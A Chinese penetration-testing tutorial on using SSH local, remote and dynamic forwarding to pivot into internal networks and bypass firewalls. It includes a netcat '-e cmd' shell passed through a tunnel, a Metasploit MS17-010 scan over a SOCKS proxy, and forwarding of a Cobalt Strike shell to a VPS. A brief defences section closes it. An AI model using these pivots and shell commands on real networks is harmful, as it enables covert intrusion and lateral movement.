ssh隧道技术在实战中的使用
字数 1196 2025-08-25 22:58:29
SSH隧道技术实战指南
一、SSH隧道概述
SSH隧道技术利用SSH协议在内网穿透和防火墙绕过中的优势:
- 几乎所有Linux服务器和网络设备都支持SSH协议
- SSH协议通常被允许通过防火墙和边界设备
- 传输过程加密,难以区分合法会话和攻击隧道
- 可建立原本无法建立的TCP连接
二、SSH隧道核心参数
常用参数说明:
-C:压缩传输,提高速度-f:转入后台执行-N:建立静默连接-g:允许远程主机连接本地转发端口-L:本地端口转发-R:远程端口转发-D:动态转发(SOCKS代理)-P:指定SSH端口
三、本地端口转发
1. 基本应用场景
- 外部VPS可访问内网Web服务器
- 内网Web服务器可访问数据库服务器
- 目标:通过Web服务器跳板访问数据库3389端口
2. 配置步骤
-
修改SSH服务器配置(
/etc/ssh/sshd_config):PermitRootLogin yes Port 22 PasswordAuthentication yes service ssh restart -
建立本地转发隧道:
ssh -fCNg -L <本地端口>:<目标IP>:<目标端口> <用户名>@<SSH服务器> -p <SSH端口> 示例: ssh -fCNg -L 1153:192.168.190.136:3389 root@192.168.174.133 -p 22 -
验证端口监听:
netstat -anptl | grep 1153 -
连接使用:
rdesktop 127.0.0.1:1153
3. 加密传输案例
环境:
- Linux1(192.168.190.110)
- Linux2(192.168.190.133)
- Win7(192.168.190.136)
- Win2008(192.168.190.132)
操作流程:
-
Linux1执行:
ssh -fCNg -L 7006:192.168.190.136:333 root@192.168.190.133 -p 22 -
Win7监听:
nc -lvp 333 -
Win2008连接:
nc.exe 192.168.190.110 7006 -e cmd
四、远程端口转发
1. 应用场景
- 外网VPS无法直接访问内网
- 内网Web服务器可访问外网VPS
- 目标:通过Web服务器跳板访问数据库3389端口
2. 操作步骤
-
Web服务器执行:
ssh -fNg -R <VPS端口>:<内网IP>:<内网端口> <VPS用户>@<VPS_IP> -p <VPS_SSH端口> 示例: ssh -fCNg -R 1521:192.168.190.136:3389 root@192.168.190.110 -
VPS验证监听:
netstat -anptl | grep 1521 -
连接使用:
rdesktop 127.0.0.1:1521
五、动态转发(SOCKS代理)
1. 建立动态隧道
ssh -fCNg -D <本地端口> <用户名>@<SSH服务器>
示例:
ssh -fCNg -D 7000 root@192.168.174.133
2. 验证监听
netstat -anptl | grep 7000
3. 浏览器配置
设置网络代理为SOCKS5,地址127.0.0.1,端口7000
4. Metasploit结合使用
msfconsole -q
setg proxies socks5:192.168.174.130:7000
use auxiliary/scanner/smb/smb_ms17_010
set rhosts 192.168.190.132
set threads 10
run
六、X协议转发
1. 远程GUI访问
ssh -X root@192.168.199.165 -p 53
2. 使用图形化工具
ssh -X root@192.168.199.165
七、实战高级应用
1. CS Shell转发
-
修改VPS SSH配置:
AllowTcpForwarding yes GatwayPorts yes TCPKeepAlive yes PasswordAuthentication yes -
建立隧道:
ssh -CfNg -R 1.1.1.1:3306:192.168.174.130:3306 root@1.1.1.1 -p 1521 -
将CS Shell委派到VPS 3306端口
八、防御措施
-
SSH访问控制:
- 配置SSH远程管理白名单
- ACL限制特定IP连接SSH
- 完全使用带外管理
-
监控措施:
- 监控异常SSH连接
- 审计SSH日志
- 限制SSH端口转发权限
九、技术总结
| 转发类型 | 命令格式 | 数据流向 | 典型应用 |
|---|---|---|---|
| 本地转发 | -L | 本地→远程→目标 | 访问内网服务 |
| 远程转发 | -R | 远程→本地→目标 | 内网穿透 |
| 动态转发 | -D | SOCKS代理 | 全局代理访问 |
| X转发 | -X | GUI转发 | 远程图形界面 |
通过合理配置SSH隧道,可以实现灵活的内网穿透和加密通信,但同时也需注意安全风险,做好防御措施。